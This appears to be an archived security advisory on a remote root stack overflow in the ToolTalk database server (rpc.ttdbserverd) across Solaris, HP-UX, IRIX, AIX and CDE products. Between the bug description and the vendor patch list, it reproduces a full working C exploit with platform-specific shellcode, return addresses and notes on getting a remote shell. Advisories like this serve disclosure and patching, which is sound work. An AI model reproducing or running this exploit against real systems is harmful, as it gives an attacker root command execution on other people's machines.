COMMAND
ToolTalk
SYSTEMS AFFECTED
AIX 4.1.x, 4.2.x, 4.3.x
HP 10.10, 10.20, 10.30, 11.00
IRIX 5.3, 5.4, 6.2, 6.3, 6.4
SunOS 4.1, 4.1.3_U1, 5.3, 5.4, 5.5., 5.5.1, 5.6
TriTeal CDE (TED versions 4.3 and previous)
Xi Graphics Maximum CDE v1.2.3
PROBLEM
Network Associates issued their security advisory regarding
ToolTalk RPC service. An implementation fault in the ToolTalk
object database server allows a remote attacker to run arbitrary
code as the superuser on hosts supporting the ToolTalk service.
The affected program runs on many popular UNIX operating systems
supporting CDE and some Open Windows installs. This vulnerability
is being actively exploited by attackers on the Internet.
To determine whether the ToolTalk database server is running on a
host, use the "rpcinfo" command to print a list of the RPC
services running on it, as:
$ rpcinfo -p <hostname>
Because many operating systems do not include an entry for the
ToolTalk database service in the RPC mapping table ("/etc/rpc" on
most Unix platforms), the vulnerable service may not appear by
name in the listing. The RPC program number for the ToolTalk
database service is 100083. If an entry exists for this program,
such as,
100083 1 tcp 692
then the service is running on the host. Until additional
information is made available from the OS vendor, it should be
assumed that the system is vulnerable to the attack described in
below.
The ToolTalk service allows independently developed applications
to communicate with each other by exchanging ToolTalk messages.
Using ToolTalk, applications can create open protocols which allow
different programs to be interchanged, and new programs to be
plugged into the system with minimal reconfiguration. The
ToolTalk database server (rpc.ttdbserverd) is an ONC RPC service
which manages objects needed for the operation of the ToolTalk
service. ToolTalk-enabled processes communicate with each other
using RPC calls to this program, which runs on each
ToolTalk-enabled host. This program is a standard component of
the ToolTalk system, which ships as a standard component of many
commercial Unix operating systems. The ToolTalk database server
runs as root. Due to an implementation fault in rpc.ttdbserverd,
it is possible for a malicious remote client to formulate an RPC
message that will cause the server to overflow an automatic
variable on the stack. By overwriting activation records stored
on the stack, it is possible to force a transfer of control into
arbitrary instructions provided by the attacker in the RPC
message, and thus gain total control of the server process.
Source code and XDR specifications for the ToolTalk database
protocol and server were not available at the time this advisory
was drafted. What follows is information based on analysis of
the rpc.ttdbserverd binary and a captured attack trace from a
network on which an exploitation script for this problem was run.
The observed attack utilized the ToolTalk Database (TTDB) RPC
procedure number 7, with an XDR-encoded string as its sole
argument. TTDB procedure 7 corresponds to the _tt_iserase_1()
function symbol in the Solaris binary
(/usr/openwin/bin/rpc.ttdbserverd). This function implements an
RPC procedure which takes an ASCII string as an argument, which is
treated as a pathname. The pathname string is passed to the
function isopen(), which in turn passes it to _am_open(), then to
_amopen(), _openfcb(), _isfcb_open(), and finally to
_open_datfile(), where it, as the first argument to the function,
is passed directly to a strcpy() to a pointer on the stack. If
the pathname string is suitably large, the string overflows the
stack buffer and overwrites an activation record, allowing
control to transfer into instructions stored in the pathname
string. Exploit follows (to compile under Solaris 2.5.1 do
gcc -DSOLARIS -lsocket -lnsl -o rpc.ttdbserver rpc.ttdbserver.c)
/*
rpc.ttdbserver remote overflow, apk
Solaris (tested on SS5 and Ultra 2.5.1)
Irix (tested on r5k and r10k O2 6.3),
HP-UX ( tested on 700s 10.20)
usage: ./r [-ku] [-p port] [-f outfile] host cmd
-k : kill ttdbserver (read below)
-u : use UDP (default TCP)
-p port : connect to ttdbserver at port (don't ask portmap)
-f outfile : store rpc message in outfile (and do NOT contact host)
note:
it should compile on any normal system, to get HP-UX exploit compile with
-DHPUX, for Solaris -DSOLARIS, for Irix use -DIRIX
cmd is run through sh -c, and there is no practical limit for command
length, but it has to fit in buffer (1024 bytes in this case),
and ~(strlen + 1) cannot contain '0'
by default ttdbserver runs from inetd, so it will be respawned each time
it die (I mean execute command), also because it dies correct reply is
clnt_call error (connection reset, timeout etc)
-f file option: On HP-UX and Irix, connected socket gets first free
descriptor, 3 on HP-UX and 5 on Irix. You can use -f option to store
datagram to file, and send it to ttdbserver with your telnet of
choice. With command like "0<&3 1>&3 2>&3 exec sh" on HP-UX you'll get
remote shell running. Solaris dup() connected fd to first free one
over 256, so you have to study sh man page to find a way to do this <g>
You should kill ttdbserver before, to make sure it doesn't have
any files open except 0-2 fds passed from inetd. Actually on Irix
it looks like fucked up, ttdbserver gets 0-2 fds from inetd, ignores
them and opens new ones as 3 and 4 fd, so you need to redirect 5th fd.
It happens on 6.3 at least, I need to look at other versions.
Irix is also the only one I saw which supports ttdbserver over UDP,
keep in mind that by default generated RPC datagram is TCP version with
record marking, you should use -u option to get UDP version (or just remove
first four bytes from generated file)
for reasons I can't quite understand, you _have_ to kil ttdbserver on Solaris
before sending a command there. When ttdbserver has connected clients,
it simply returns an error (filename too long). In both cases
it looks like the program goes through the same way, well, maybe I'll
get a clue one day what happens there.
On Irix to get over its fucked up cache, I simply send like 20kb to make
it flushed, so it's not reliable. You can find a buffer allocated by xdr
and it should be better.
surprizingly there are some differences between ttdbserver on above platforms,
like solaris dup() of fds, start-up Irix behaviour, the fact that
on Irix it first tries chdir to directory then do some task (it's the
reason I have to add "/f" at the end of buffer to have it copy overflow
part of the buffer on stack) etc. That's why it may not work on other
systems and versions than mentioned at the beginning.
*/
#include <sys/types.h>
#include <sys/time.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <stdio.h>
#include <unistd.h>
#include <fcntl.h>
#include <stdlib.h>
#include <errno.h>
#include <string.h>
#include <netdb.h>
#include <rpc/rpc.h>
#define PORT 0
#define BSIZE 1024
#if defined(SOLARIS)
# define SP 0xefffd618
# define LENOFS 80
char asmcode[]="\x20\xbf\xff\xff\x20\xbf\xff\xff\x7f\xff\xff\xff\x92\x03\xe0\x48\x90\x02\x60\x10\xe0\x02\x3f\xf0\xa2\x80\x3f\xff\xa0\x24\x40\x10\xd0\x22\x3f\xf0\xc0\x22\x3f\xfc\xa2\x02\x20\x09\xc0\x2c\x7f\xff\xe2\x22\x3f\xf4\xa2\x04\x60\x03\xc0\x2c\x7f\xff\xe2\x22\x3f\xf8\xa2\x04\x40\x10\xc0\x2c\x7f\xff\x82\x10\x20\x0b\x91\xd0\x20\x08\xff\xff\xff\xfc\x22\x22\x22\x22\x33\x33\x33\x33\x44\x44\x44\x44\x2f\x62\x69\x6e\x2f\x6b\x73\x68\x2e\x2d\x63\x2e";
char NOP[]="\x80\x1c\x40\x11";
#endif
#if defined(HPUX)
# define SP 0x7b03cc10
# define LENOFS 84
char asmcode[]="\xeb\x4
0\x40\x02\x0b\x39\x02\x80\xd7\x40\x0c\x1e\xb7\x5a\x20\xb8\x0b\x5a\x02\x59\x0f\x21\x10\x98\x97\x18\x07\xff\x0f\x39\x12\x81\x0f\x20\x12\x99\xb7\x39\x20\x10\x0f\x20\x12\x1f\x0f\x59\x12\x89\xb7\x39\x20\x06\x0f\x20\x12\x1f\x0f\x59\x12\x91\x0b\x38\x06\x19\x0f\x20\x12\x1f\xb7\x59\x07\xe1\x20\x20\x08\x01\xe4\x20\xe0\x08\xb4\x16\x10\x16\x11\x11\x11\x11\x22\x22\x22\x22\x33\x33\x33\x33\x44\x44\x44\x44\x2f\x62\x69\x6e\x2f\x73\x68\x2e\x2d\x63\x2e";
char NOP[]="\x0b\x39\x02\x80";
#endif
#if defined(IRIX)
# define SP 0x7fff1b30
# define LENOFS 76
char asmcode[]="\x04\x10\xff\xff\x27\xe4\x01\x01\x24\x84\xff\x5e\x8c\x8c\xff\xe5\x24\x0d\xff\xff\x01\xac\x60\x23\x01\x84\x60\x20\xa1\x80\xff\xff\xa0\x80\xff\xff\xac\x84\xff\xed\x24\x84\xff\xfd\xa0\x80\xff\xff\xac\x84\xff\xec\x24\x84\xff\xf8\x24\x85\xff\xf0\xac\x84\xff\xf0\xac\x80\xff\xfc\x24\x02\x03\xf3\x02\x04\x8d\x0c\xff\xff\xff\xfc\x22\x22\x22\x22\x22\x22\x22\x22\x22\x22\x22\x22\x2f\x62\x69\x6e\x2f\x73\x68\x2e\x2d\x63\x2e";
char NOP[]="\x24\x0f\x12\x34";
#endif
#define TT_DBSERVER_PROG 100083
#define TT_DBSERVER_VERS 1
#define _TT_P 7
struct tt_reply {
int i1;
int i2;
};
void usage(char *s) {
printf("Usage: %s [-ku] [-p port] [-f outfile] host cmd\n", s);
exit(0);
}
bool_t xdr_tt_reply(XDR *xdrs, struct tt_reply *objp) {
if (!xdr_int(xdrs, &objp->i1))
return (FALSE);
if (!xdr_int(xdrs, &objp->i2))
return (FALSE);
return (TRUE);
}
void make_file(char *fname, char *buf, int type);
main(int argc, char *argv[]) {
extern int optind;
extern char *optarg;
CLIENT *cl;
enum clnt_stat stat;
struct timeval tm;
struct hostent *hp;
struct sockaddr_in target;
struct tt_reply op_res;
char buf[64000], *path, *cmd, *host, *bp, *outfile = NULL;
int sd, i, sp = SP, bsize = BSIZE, port = PORT, kill = 0, proto = 0;
while ((i = getopt(argc, argv, "ukp:f:")) != EOF)
switch (i) {
case 'p':
port = atoi(optarg);
break;
case 'k':
kill = 1;
break;
case 'u':
proto = 1;
break;
case 'f':
outfile = optarg;
break;
default:
usage(argv[0]);
}
if (argc - optind < 2)
usage(argv[0]);
cmd = argv[optind + 1];
host = argv[optind];
for (i = 0; i < sizeof(buf); i++)
*(buf + i) = NOP[i % 4];
i = bsize - strlen(asmcode) - strlen(cmd);
i &= 0xfffffffc;
strcpy(buf + i, asmcode);
strcat(buf, cmd);
*(int *)(buf + i + LENOFS) = ~(strlen(cmd) + 1);
buf[strlen(buf)] = '.';
bp = buf + bsize;
for (i = 0; i < 16; bp+=4, i++)
*(int *)bp = sp;
#ifdef IRIX
sp = sp + 400 + 31652;
for (i = 0; i < 5000; bp+=4, i++)
*(int *)bp = sp;
*bp++ = '/';
*bp++ = 'f';
path = buf + 2;
#else
path = buf;
#endif
*bp = 0;
if (outfile) {
make_file(outfile, buf, proto);
printf("rpc datagram stored in %s\n", outfile);
exit(0);
}
if ((target.sin_addr.s_addr = inet_addr(host)) == -1) {
if ((hp = gethostbyname(host)) == NULL) {
printf("%s: cannot resolve\n", host);
exit(1);
} else
target.sin_addr.s_addr = *(u_long *)hp->h_addr;
}
target.sin_family = AF_INET;
target.sin_port = htons(port);
sd = RPC_ANYSOCK;
tm.tv_sec = 4;
tm.tv_usec = 0;
if (proto)
cl = clntudp_create(&target, TT_DBSERVER_PROG, TT_DBSERVER_VERS, tm, &sd);
else
cl = clnttcp_create(&target, TT_DBSERVER_PROG, TT_DBSERVER_VERS, &sd, 0, 0);
if (cl == NULL) {
clnt_pcreateerror("clnt_create");
exit(0);
}
cl->cl_auth = authunix_create("localhost", 0, 0, 0, NULL);
tm.tv_sec = 10;
if (kill) {
path = NULL;
bp = NULL;
if ((stat = clnt_call(cl, 15, xdr_wrapstring, (char *)&path,
xdr_wrapstring, (char *)&bp, tm)) != RPC_SUCCESS) {
clnt_perror(cl, "clnt_call");
exit(1);
}
printf("Could not kill ttdbserver, reply is: %s\n", bp);
exit(1);
}
if ((stat = clnt_call(cl, _TT_P, xdr_wrapstring, (char *)&path, xdr_tt_reply,
(char *)&op_res, tm)) != RPC_SUCCESS) {
clnt_perror(cl, "clnt_call");
exit(1);
}
printf("res i1 %d, res i2 %d\n", op_res.i1, op_res.i2);
clnt_destroy(cl);
}
void make_file(char *fname, char *buf, int type) {
int fd, offs;
XDR xdrm;
struct rpc_msg rpc_hdr;
struct authunix_parms aup;
char dgram[64000], rauth[MAX_AUTH_BYTES];
if (type == 1) /* UDP */
offs = 4;
if ((fd = open(fname, O_RDWR | O_CREAT | O_TRUNC, 0666)) == -1) {
perror(fname);
exit(1);
}
xdrmem_create(&xdrm, rauth, sizeof(rauth), XDR_ENCODE);
aup.aup_time = (u_long)time(NULL);
aup.aup_machname = "localhost";
aup.aup_uid = 0;
aup.aup_gid = 0;
aup.aup_len = 0;
aup.aup_gids = NULL;
if (xdr_authunix_parms(&xdrm, &aup) == FALSE) {
printf("error encoding auth cred\n");
exit(1);
}
rpc_hdr.rm_call.cb_cred.oa_length = xdr_getpos(&xdrm);
xdr_destroy(&xdrm);
xdrmem_create(&xdrm, dgram + 4, sizeof(dgram), XDR_ENCODE);
rpc_hdr.rm_xid = 0x12345678;
rpc_hdr.rm_direction = CALL;
rpc_hdr.rm_call.cb_rpcvers = 2;
rpc_hdr.rm_call.cb_prog = TT_DBSERVER_PROG;
rpc_hdr.rm_call.cb_vers = TT_DBSERVER_VERS;
rpc_hdr.rm_call.cb_proc = _TT_P;
rpc_hdr.rm_call.cb_cred.oa_flavor = AUTH_UNIX;
rpc_hdr.rm_call.cb_cred.oa_base = rauth;
rpc_hdr.rm_call.cb_verf.oa_flavor = AUTH_NONE;
rpc_hdr.rm_call.cb_verf.oa_base = NULL;
rpc_hdr.rm_call.cb_verf.oa_length = 0;
if (xdr_callmsg(&xdrm, &rpc_hdr) == FALSE) {
printf("error encoding rpc header\n");
exit(1);
}
if (xdr_wrapstring(&xdrm, &buf) == FALSE) {
printf("error encoding rpc data\n");
exit(1);
}
/* record marking */
*(u_int *)dgram = 0x80000000 | xdr_getpos(&xdrm);
if (write(fd, dgram + offs, xdr_getpos(&xdrm) + 4) == -1) {
perror("write");
exit(1);
}
xdr_destroy(&xdrm);
close(fd);
}
SOLUTION
This is an implementation problem and can only be resolved
completely by applying patches to or replacing affected software.
As a temporary workaround, it is possible to eliminate
vulnerability to this problem by disabling the ToolTalk database
service. This can be done by killing the "rpc.ttdbserverd" process
and removing it from any OS startup scripts. It should be noted
that this may impair system functionality. The following vendors
have been confirmed vulnerable, contacted, and have responded with
repair information.
Sun Microsystems
Sun plans to release patches this week that relate to the
ToolTalk vulnerability for SunOS 5.6, 5.6_x86, 5.5.1,
5.5.1_x86, 5.5 and 5.5_x86. Patches for SunOS 5.4, 5.4_x86,
5.3, 4.1.4 and 4.1.3_U1 will be released in about 4 weeks.
Sun recommended and security patches (including checksums) are
available from:
http://sunsolve.sun.com/sunsolve/pubpatches/patches.html
Hewlett Packard
HP-UX has been confirmed vulnerable in releases 10.XX and
11.00. HP has made patches available with the following
identifications:
HP-UX release 10.10 HP9000 Series 7/800 PHSS_16150
HP-UX release 10.20 HP9000 Series 7/800 PHSS_16147
HP-UX release 10.30 HP9000 Series 7/800 PHSS_16151
HP-UX release 11.00 HP9000 Series 7/800 PHSS_16148
IBM
The version of ttdbserver shipped with AIX is vulnerable. IBM
is currently working on the following fixes which will be
available soon:
APAR 4.1.x: IX81440
APAR 4.2.x: IX81441
APAR 4.3.x: IX81442
Until the official APARs are available, a temporary fix can be
downloaded via anonymous ftp from:
ftp://aix.software.ibm.com/aix/efixes/security/ttdbserver.tar.Z
TriTeal
The ToolTalk vulnerability will be fixed in the TED4.4
release. For earlier versions of TED, please contact the
TriTeal technical support department at support@triteal.com or
http://www.triteal.com/support
Xi Graphics
Xi Graphics Maximum CDE v1.2.3 is vulnerable to this attack.
A patch to correct this problem will be placed on our FTP
site by 8/28/1998:
ftp.xig.com:/pub/updates/cde/1.2.3/C1203.002.tar.gz
ftp.xig.com:/pub/updates/cde/1.2.3/C1203.002.txt
Users of Maximum CDE v1.2.3 are urged to install this update.
Silicon Graphics
OS Version Vulnerable? Patch #
---------- ----------- -------
IRIX 5.3 yes 3510
IRIX 6.0.x unknown upgrade
IRIX 6.1 unknown upgrade
IRIX 6.2 yes 3511
IRIX 6.3 yes 3511
IRIX 6.4 yes 3511
IRIX 6.5 yes 3511
IRIX 6.5.1 yes 3511
IRIX 6.5.2 yes 3511